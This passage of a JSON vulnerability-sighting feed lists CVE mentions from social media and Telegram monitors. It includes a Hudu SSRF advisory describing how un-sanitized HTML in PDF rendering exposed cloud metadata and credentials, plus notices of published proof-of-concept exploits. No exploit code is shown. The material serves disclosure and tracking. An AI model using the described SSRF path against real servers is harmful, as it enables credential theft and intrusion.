response.status);\n}\n})();\n\n\n# Security Advisory: SSRF Vulnerability on Hudu 2.39.6 from Un-sanitized PDF Parsing\n\n**Date:** 2026-02-18\n\n**CVE ID:** CVE-2026-36542\n\n**CWE:** CWE-918 Server-Side Request Forgery (SSRF)\n\n**Severity:** 8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)\n\n**Affected Versions:** Versions prior to [2.41.1](https://community.hudu.com/release-notes-9lbk0yii/post/hudu-version-2-41-1-ZigX4hAKHQDOrVw)\n\n## Summary\n\nA vulnerability exists in the application's PDF generation service where un-sanitized HTML input is processed by the **wkhtmltopdf** rendering engine. This allows an attacker to execute arbitrary JavaScript within the server's context and perform Server-Side Request Forgery (SSRF). By targeting the internal DigitalOcean Metadata Service, it was possible to retrieve sensitive system configurations, internal network maps, and administrative credentials.\n\n## Technical Details\n\n**Endpoint:** {client}.huducloud.com/kba/{kba_id}/renders\n\nThe successful retrieval of `v1.json` from the internal DigitalOcean Metadata Service resulted in the disclosure of the following sensitive information:\n\n- **Infrastructure Identity:** Disclosure of Droplet ID, Hostname, and Region.\n- **Asset Leakage:** Identification of an associated S3 bucket within the tags.\n- **Credential Disclosure:** Retrieval of the Droplet auth_key and the administrator's SSH public key.\n- **Network Mapping:** Exposure of internal VPC IP addresses, gateways, and routing logic for 2 internal subnet ranges.", "creation_timestamp": "2026-07-01T19:37:03.754863Z"}, {"uuid": "d49a5180-7d77-46fe-a511-c67c891ed180", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36910", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpoa425kkt2d", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-36910 \u0432 MPC-BE: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/54DB796B-B54D-45F5-BBEB-6020FB083994", "creation_timestamp": "2026-07-02T14:20:53.846804Z"}, {"uuid": "940fdec5-71d7-4977-8de4-11bbf0167f8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36911", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpoaauvk6h2r", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-36911: \u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u043e\u043b\u044c \u0432 CStreamSwitcherOutputPin::DecideBufferSize\n\n\n\nhttps://kripta.biz/posts/AA2F29C5-67E0-4C29-BC2F-FA5C0D51D568", "creation_timestamp": "2026-07-02T14:23:36.141351Z"}, {"uuid": "59242258-b46e-42fd-a846-6c647aa2acb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36912", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpoalymrak2o", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-36912: NULL pointer dereference \u0432 AP4_AtomSampleTable::GetSample()\n\n\n\nhttps://kripta.biz/posts/38A4E0A1-0C60-451F-BEE4-26FDE7BC70E1", "creation_timestamp": "2026-07-02T14:29:49.339265Z"}, {"uuid": "08f71481-36a0-494d-bba0-26054917dec5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36909", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpoanicpv22q", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-36909: NULL pointer dereference \u0432 AP4_TkhdAtom::GetTrackId()\n\n\n\nhttps://kripta.biz/posts/37646E56-4E7B-4978-BCFD-A4BFD25F2528", "creation_timestamp": "2026-07-02T14:30:39.191784Z"}, {"uuid": "e8def9db-23a9-4bd0-89d3-7a521916e989", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36912", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpq6nlubk22m", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-36912: NULL pointer dereference \u0432 AP4_AtomSampleTable::GetSample()\n\n\n\nhttps://kripta.biz/posts/0A22AF7F-2945-40AA-9A31-0E3EA7113AA3", "creation_timestamp": "2026-07-03T09:00:14.568360Z"}, {"uuid": "40875c83-a348-49b4-b98b-fca59624a232", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36909", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpq7tp5mhs2y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-36909: NULL pointer dereference \u0432 AP4_TkhdAtom::GetTrackId() \u0438 \u0435\u0451 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\n\n\n\nhttps://kripta.biz/posts/8C026A7B-EFFC-4ED8-AF4A-EA3EE18866E1", "creation_timestamp": "2026-07-03T09:21:33.200049Z"}, {"uuid": "92696b61-0d89-41fd-a3eb-328b83088046", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36910", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpq7v6adfc2j", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-36910 \u0432 MPC-BE: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/1D504D17-C3B7-4E99-8C71-1062110A37AD", "creation_timestamp": "2026-07-03T09:22:22.945011Z"}, {"uuid": "c1aaab45-640b-4670-851e-cc3c79b8e569", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36911", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpq7vrw7en2m", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-36911: \u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u043e\u043b\u044c \u0432 CStreamSwitcherOutputPin::DecideBufferSize\n\n\n\nhttps://kripta.biz/posts/98C052E6-890A-41A5-A6DC-35151C901166", "creation_timestamp": "2026-07-03T09:22:43.501851Z"}, {"uuid": "7a310987-bef3-40fd-a2bf-60dc63824320", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3602", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpqcaezwlb2d", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-3602 \u0432 IBM App Connect Enterprise: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/26B3E6A3-0CD3-4852-8D31-654ACC31E99A", "creation_timestamp": "2026-07-03T10:04:26.469088Z"}, {"uuid": "eef82733-50d3-4369-b224-62b9dc965e5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36182", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mpw6i5cc3b2c", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-36182](https://github.com/BadChemical/IoT-Vulnerability-Research-Public/blob/main/GNCC-...\nhttps://github.com/BadChemical/IoT-Vulnerability-Research-Public/blob/main/GNCC-GP5-T23/README.md #Vulnerability #CVE #ZeroDay", "creation_timestamp": "2026-07-05T18:13:10.328314Z"}, {"uuid": "014c8804-0a5f-4b87-89af-88ea63495682", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36239", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mpw6sbahne2x", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-36239](https://github.com/TazmiDev/CVE-2026-36239)\nPbootCMS v.3.2.11 contains a code in...\nhttps://github.com/TazmiDev/CVE-2026-36239 #Vulnerability #CVE #ZeroDay", "creation_timestamp": "2026-07-05T18:18:49.906431Z"}, {"uuid": "f3bec06f-c880-4492-8833-6eebb748c887", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36182", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpxyig2hz22v", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-36182 \u0432 GNCC GP5 v7.1.76: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u0437-\u0437\u0430 \u0441\u043b\u0430\u0431\u043e\u0433\u043e \u0445\u0435\u0448\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f\n\n\n\nhttps://kripta.biz/posts/120B5402-1CE2-47A3-BED2-0025EDF73AA2", "creation_timestamp": "2026-07-06T11:31:16.488059Z"}, {"uuid": "41451a19-9672-40f6-aca3-34bdb5861155", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36239", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpxyt7kavm2g", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-36239 \u0432 PbootCMS v.3.2.11: \u0443\u0433\u0440\u043e\u0437\u0430 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/C1600ACE-34EE-482E-956E-CF94FF1C017A", "creation_timestamp": "2026-07-06T11:37:18.616852Z"}, {"uuid": "2ce49bea-bcf7-473c-9c54-7791d69c63d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36175", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpxxmgdpla2n", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-36175 \u0432 U-Boot GNCC GP5: \u0443\u0433\u0440\u043e\u0437\u0430 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0441 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c\n\n\n\nhttps://kripta.biz/posts/73441C41-D473-4C29-A306-A753D07F1D07", "creation_timestamp": "2026-07-06T11:15:37.373119Z"}, {"uuid": "93d8fb44-2c0e-4dbd-b42a-db91cce2214e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36239", "type": "seen", "source": "https://bsky.app/profile/qiancx.bsky.social/post/3mpxyt75ngz22", "content": "\u6df1\u5ea6\u89e3\u6790PbootCMS v3.2.11\u4ee3\u7801\u6ce8\u5165\u6f0f\u6d1e(CVE-2026-36239):\u5a01\u80c1\u5206\u6790\u4e0e\u4fee\u590d\u6307\u5357\n\n\n\nhttps://qian.cx/posts/C68B33CC-702A-4677-82A8-BCC2EF14B4F0", "creation_timestamp": "2026-07-06T11:37:19.077308Z"}, {"uuid": "18ddcbd6-ef97-47d0-8122-75ade5d9d54a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36178", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpxxn23clb2b", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-36178 \u0432 GNCC GP5: \u043f\u043e\u0447\u0435\u043c\u0443 \u0441\u0431\u0440\u043e\u0441 \u043a \u0437\u0430\u0432\u043e\u0434\u0441\u043a\u0438\u043c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u043c \u043d\u0435 \u0443\u0434\u0430\u043b\u044f\u0435\u0442 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043a\u043b\u044e\u0447\u0438\n\n\n\nhttps://kripta.biz/posts/F9A1E415-6341-42F6-BCB1-E5F31FD24A0A", "creation_timestamp": "2026-07-06T11:15:58.507960Z"}, {"uuid": "9f5d941d-9751-4395-a6ee-4a3d0c710170", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36180", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpxy52z6su2g", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-36180 \u0432 GNCC GP5 v7.1.76: \u0443\u0433\u0440\u043e\u0437\u0430 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438-\u0431\u043b\u0438\u0437\u043a\u0438\u0445 \u0430\u0442\u0430\u043a \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/A8C69FE0-659A-4F3F-BC34-C6713F33608B", "creation_timestamp": "2026-07-06T11:24:56.108380Z"}, {"uuid": "639995ce-54aa-4253-a163-43482a9ba2f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36174", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpxyu37pek2f", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-36174 \u0432 GNCC GP5 v7.1.76: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439\n\n\n\nhttps://kripta.biz/posts/CE09FFB9-98A6-4A0A-9B35-9FEA36EF493B", "creation_timestamp": "2026-07-06T11:37:48.725972Z"}, {"uuid": "c72f0ac1-9fa6-4c25-80ed-53891cc510ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36356", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpxzh2gix423", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-36356 \u0432 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0435 GoAhead \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 MeiG Smart FORGE_SLT711: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/4DA9FBDD-8C72-4A1B-A556-A6C4D878E03B", "creation_timestamp": "2026-07-06T11:48:24.300825Z"}, {"uuid": "1469cfe9-e24c-4008-a32e-2439a87a9d63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36163", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq3u3rji7524", "content": "CVE-2026-36163 - LiquidFiles Stored Cross-Site Scripting Vulnerability\nCVE ID : CVE-2026-36163\n \n Published : July 7, 2026, 11:16 p.m. | 31\u00a0minutes ago\n \n Description : An HTML injection vulnerability in the file view endpoint of LiquidFiles v4.2.7 allows authenticated attacke...", "creation_timestamp": "2026-07-08T00:23:16.282645Z"}, {"uuid": "db804214-53cd-464e-baf5-137532073fc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36162", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq3u7edrhe2g", "content": "CVE-2026-36162 - LiquidFiles Upload File Shares API Stored Cross-Site Scripting\nCVE ID : CVE-2026-36162\n \n Published : July 7, 2026, 11:16 p.m. | 31\u00a0minutes ago\n \n Description : An authenticated stored cross-site scripting (XSS) vulnerability in the Upload File Shares API of L...", "creation_timestamp": "2026-07-08T00:25:16.617252Z"}, {"uuid": "cd92b97a-6da5-4f66-ba06-a21dc0839fd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3688", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mq4ymwaqem2p", "content": "CVE-2026-3688 wc-multivendor-membership (CVSS Score 8.1) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-08T11:17:06.775693Z"}, {"uuid": "cf03057f-e6e3-4681-b851-1895188ec6ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3688", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq57mtvw3v2z", "content": "CVE-2026-3688 - WCFM - WooCommerce Multivendor Membership\nCVE ID : CVE-2026-3688\n \n Published : July 8, 2026, 12:17 p.m. | 57\u00a0minutes ago\n \n Description : The WCFM Membership \u2013 WooCommerce Memberships for Multivendor Marketplace plugin for WordPress is vulnerable to Insecure D...", "creation_timestamp": "2026-07-08T13:22:20.206135Z"}, {"uuid": "40484c17-f7b5-416d-a2f2-74156a70d837", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36670", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/88109", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-36670\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Gabriel-Lacorte\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-10 00:49:40\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nTime-Based Blind SQL Injection Exploit for the OpenSIPs Control Panel (or my first CVE!)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-12T10:00:03.894796Z"}, {"uuid": "fb53726c-eba1-4f65-9e56-e1051f23011b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36670", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/88109", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-36670\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Gabriel-Lacorte\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-10 00:49:40\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nTime-Based Blind SQL Injection Exploit for the OpenSIPs Control Panel (or my first CVE!)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T00:00:46.334160Z"}, {"uuid": "909a9184-5706-4bf6-81ac-468c0845e000", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36214", "type": "seen", "source": "https://t.me/GithubRedTeam/92398", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #XSS #CVE #Stored\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-36214\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a WesWrench\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-07 19:35:17\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nStored Cross-Site Scripting (XSS) in osTicket via Vulnerable Bootstrap Tooltip Component\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:10.492958Z"}, {"uuid": "18409e4b-9308-4ca0-995b-0537a0156311", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36848", "type": "seen", "source": "https://t.me/GithubRedTeam/91165", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-36848\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a calligraf0\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-29 15:01:13\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nGigamon Unauth RCE (CVE-2026-36848)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:16.915662Z"}, {"uuid": "0432c2d2-8e3d-4f63-836e-b9ffa02c74fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36851", "type": "seen", "source": "https://t.me/GithubRedTeam/91767", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-36851\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a SyntaxSaiyan\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-03 15:37:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWalkthrough and PoC of File path traversal vulnerability(CVE-2026-36851) for UnPoller 2.33.0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:13.433845Z"}, {"uuid": "a3cce0cc-d69e-4500-80c7-6ed6d9afb92b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36214", "type": "seen", "source": "https://t.me/GithubRedTeam/92398", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #XSS #CVE #Stored\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-36214\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a WesWrench\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-07 19:35:17\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nStored Cross-Site Scripting (XSS) in osTicket via Vulnerable Bootstrap Tooltip Component\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:19.017011Z"}, {"uuid": "328af863-f7fb-4f8c-a2bc-89fa5d2b4bef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36851", "type": "seen", "source": "https://t.me/GithubRedTeam/91767", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-36851\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a SyntaxSaiyan\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-03 15:37:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWalkthrough and PoC of File path traversal vulnerability(CVE-2026-36851) for UnPoller 2.33.0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:21.365462Z"}, {"uuid": "8ba6cf54-d6f7-4825-bd5a-08637e89fdf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36848", "type": "seen", "source": "https://t.me/GithubRedTeam/91165", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a 